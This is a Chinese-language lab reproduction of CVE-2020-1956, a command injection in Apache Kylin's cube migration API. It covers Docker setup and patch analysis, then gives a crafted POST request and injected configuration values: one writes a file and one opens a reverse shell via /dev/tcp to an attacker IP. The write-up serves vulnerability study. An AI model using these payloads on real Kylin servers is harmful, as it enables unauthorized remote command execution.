Apache Kylin是一個開源的、分散式的分析型資料倉庫,提供Hadoop/Spark之上的 SQL 查詢介面及多維分析(OLAP)能力以支援超大規模資料,最初由 eBay 開發並貢獻至開源社群。它能在亞秒內查詢巨大的表。

0x00 漏洞概述

漏洞編號:CVE-2020-1956

Apache Kylin中存在一些RESTful API,可以將作業系統指令與使用者輸入的字串拼接起來。由於未對使用者輸入內容做充分校驗,攻擊者可以構造任意系統命令執行。

影響版本:

  • Kylin 2.3.0-2.3.2
  • Kylin 2.4.0-2.4.1
  • Kylin 2.5.0-2.5.2
  • Kylin 2.6.0-2.6.5
  • Kylin 3.0.0-alpha
  • Kylin 3.0.0-alpha2
  • Kylin 3.0.0-beta
  • Kylin 3.0.0-3.0.1

利用條件:

  • 維持已登入狀態
  • 開啟了相關配置

0x01 映象部署

Kylin的環境非常複雜,包括 Hadoop、Hbase、Spark、Kafka 等等一系列的元件需要安裝配置。好在官方提供了做好的Docker:

docker pull apachekylin/apache-kylin-standalone:3.0.1

層數很多,且每層都不小。

docker run -d -p 7070:7070 -p 8088:8088 -p 50070:50070 -p 8032:8032 -p 8042:8042 -p 16010:16010 apachekylin/apache-kylin-standalone:3.0.1

需要等待Kylin完成初始化(1-2分鐘),其它埠(如8088、8032等)的服務都會先於Kylin執行起來。

預設賬戶為admin/KYLIN,進入後可以看到預置的模型。

0x02 漏洞補丁

漏洞補丁:KYLIN-4426 Refine CliCommandExecutor · apache/kylin@9cc3793 (github.com)

漏洞位於CubeService.java的migrateCube()函式,其中對待執行命令做格式化的String.format()未能做到充分過濾,導致RCE。涉及的引數有:srcCfgUridstCfgUriprojectName

Migrate Cube

介面文件顯示需要對路徑傳入兩個引數:cubeproject。在Kylin頁面的表格中可以看到

選擇第一行的kylin_sales_cube以及對應的learn_kylin作為路徑引數來構造請求。

POST /kylin/api/cubes/kylin_sales_cube/learn_kylin/migrate  HTTP/1.1
Host: 192.168.223.133:7070
Pragma: no-cache
Accept: application/json, text/plain, */*
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=08D6BE841D58B37D716D40185D465C7A
Connection: close

得到一個500,有大量的報錯資訊可以檢視:

One click migration is disabled

這條提示作為鍵msg的值返回,可以想見是在程式碼中有硬編碼的。回去看漏洞補丁的程式碼,就能發現這句話:

實際上就位於migrateCube函式的開頭。這裡使用了config.isAllowAutoMigrateCube()進行攔截,也就是載入了開頭所說的“相關配置”。

配置項kylin.tool.auto-migrate-cube.enabled預設為FALSE(很不幸)。在使用Docker的大前提下,有兩種修改該配置項的方法。永續性的修改需要進入容器,修改其中的conf/kylin.properties檔案,自行新增kylin.tool.auto-migrate-cube.enabled=true配置項,然後bin/kylin stop+bin/kylin start重啟Kylin。此外還可以直接在頁面進行暫時性的修改。

暫時性修改

在平臺的System一欄選擇Set Config。比較高階,不用檢視整個配置檔案,以鍵值方式進行更新。

配置立即生效。但是在程序重啟或選擇了本頁的Reload Config後就會失效。

Source configuration should not be empty

在修改完配置後重新發起一個POST,此時得到的響應就發生了變化:

這對應了專案程式碼中對於非空的檢查:變數srcCfgUridstCfgUri。在檔案kylin/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java中就能看到

這兩個值同樣來自於配置項,分別對應的是kylin.tool.auto-migrate-cube.src-configkylin.tool.auto-migrate-cube.dest-config

kylin/core-common/src/main/java/org/apache/kylin/common/KylinConfigBase.java中使用了getOptional獲得配置。

配置這兩個引數就是使用前面配置kylin.tool.auto-migrate-cube.enabled同樣的方法。關注一下kylin/server-base/src/main/java/org/apache/kylin/rest/service/CubeService.java的1133行開始的命令格式化工作,在打過補丁後,此處會呼叫CliCommandExecutor.checkParameter來檢查我們能夠控制的變數srcCfgUridstCfgUri

於是一目瞭然,這兩個變數直接表示命令注入的關鍵引數。

0x03 利用流程

任意寫檔案

嘗試用變數destCfgUri承載系統命令。再次去頁面Set Config,先將srcCfgUri配置為/home/admin/apache-kylin-3.0.1-bin-hbase1x/conf/kylin.propertie(注意不是變數自身作為鍵,而是其對應的配置項作為鍵),再將destCfgUri配置為/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; touch /tmp/hacked; echo,試圖寫入一個名為hacked的檔案。

再發起一個與先前一樣的POST請求,這次會得到200狀態(可能有一點延遲)。

去Docker檢視,發現寫入成功!

反彈Shell

寫檔案成功,寫反彈Shell似乎也就問題不大了。在之前的基礎上,將kylin.tool.auto-migrate-cube.dest-config配置為/tmp/kylin.properties kylin_sales_cube learn_kylin true true true true; bash -i >& /dev/tcp/192.168.31.197/9527 0>&1; echo,然後執行同樣的POST。不同於寫檔案任務,監聽在主動斷開前保持工作,所以這次POST將會一直處在等待響應的狀態。

攻擊機很快就拿到了Shell:

Over!